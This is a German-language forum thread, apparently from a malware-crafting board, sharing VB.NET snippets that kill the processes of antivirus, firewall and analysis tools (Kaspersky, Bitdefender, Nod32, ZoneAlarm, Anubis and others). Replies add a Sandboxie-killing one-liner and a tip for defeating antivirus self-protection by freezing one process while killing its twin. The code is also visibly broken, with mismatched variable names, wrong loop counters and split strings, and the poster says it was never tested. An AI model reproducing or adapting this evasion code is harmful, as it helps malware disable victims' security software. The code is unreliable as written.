Vb.Net Anti Anubis, Outpost, Norman, Bitdefender, Kaspersky, Nod32, ZoneAlarm

So habe hier noch nen guten Source hoffe er hilft jemanden von euch --------------------------------------------------------------------- 'Anti Anubis
Dim Anubis As Process() = Process.GetProcesses
Dim a As Integer
For a = 0 To Anubis.Length - 1
Debug.WriteLine(Anubis(a).ProcessName)
If Strings.UCase(Anubis(a).ProcessName) = Strings.UCase("Anubis") Then
Anubis(a).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Outpost
Dim outpost As Process() = Process.GetProcesses
Dim o As Integer
For o = 0 To outpost.Length - 1
Debug.WriteLine(outpost(o).ProcessName)
If Strings.UCase(outpost(o).ProcessName) =Strings.UCase("outpost")Then
outpost(o).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Norman
Dim norman As Process() = Process.GetProcesses
Dim n As Integer
For n = 0 To norman.Length - 1
Debug.WriteLine(norman(n).ProcessName)
If Strings.UCase(outpost(n).ProcessName)=Strings.UCas e("npfmsg") Then
norman(n).Kill()
End If
Next
----------------------------------------------------------------------

'Anti Bitdefender
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Kaspersky
Dim persky As Process() = Process.GetProcesses
Dim p As Integer
For p = 0 To persky.Length - 1
Debug.WriteLine(perky(p).ProcessName)
If Strings.UCase(perky(p).ProcessName) =Strings.UCase("kavsvc") Then
perky(p).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Nod32
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod(n).ProcessName)
If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
nod(n).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Zonealarm
Dim zone As Process() = Process.GetProcesses
Dim z As Integer
For o = 0 To zone.Length - 1
Debug.WriteLine(zone(z).ProcessName)
If Strings.UCase(zone(z).ProcessName)=Strings.UCase(" zlclient") Then
zone(z).Kill()
End If
Next
-----------------------------------------------------------------------
müßte so klappen habe es nicht ausprobiert

Nod32 wird nicht funzen , da es n schutz hat .

Würde auch theorethisch einfacher gehen

Code:

---

for each Sandboxie in process.getprozessbyname("sandbox.exe") Sandboxie.kill
next

---

Aber trotzdem ganz nice ;)

mfG

fast jedes antivir hat heutzutage einen selbstschutz, also staret sich unmittelbar selbst.

Ja aber ich meine das man die Prozesse von AV´s nicht killen kann ;)

Zitat:

---

Zitat von inmate

Nod32 wird nicht funzen , da es n schutz hat .

Würde auch theorethisch einfacher gehen

Code:

---

for each Sandboxie in process.getprozessbyname("sandbox.exe") Sandboxie.kill
next

---

Aber trotzdem ganz nice ;)

mfG

---

Definierungen gäbe es viele is janur eine möglichkeit

Mach Dir mal 'ne ordentliche Funktion, die den Prozessnamen als Parameter erhält und pack' die Prozessnamen in eine Liste oder ein Array. Das sieht ja schlimm aus.

Zitat:

---

Zitat von inmate

Ja aber ich meine das man die Prozesse von AV´s nicht killen kann

---

Doch kann man, aber zb kaspersky läuft zweimal, das startet sich immer instant wieder selbst.

Dann freezt man halt einen prozess und killt unmittelbar darauf (oder gleichzeitig mit thread) den anderen :P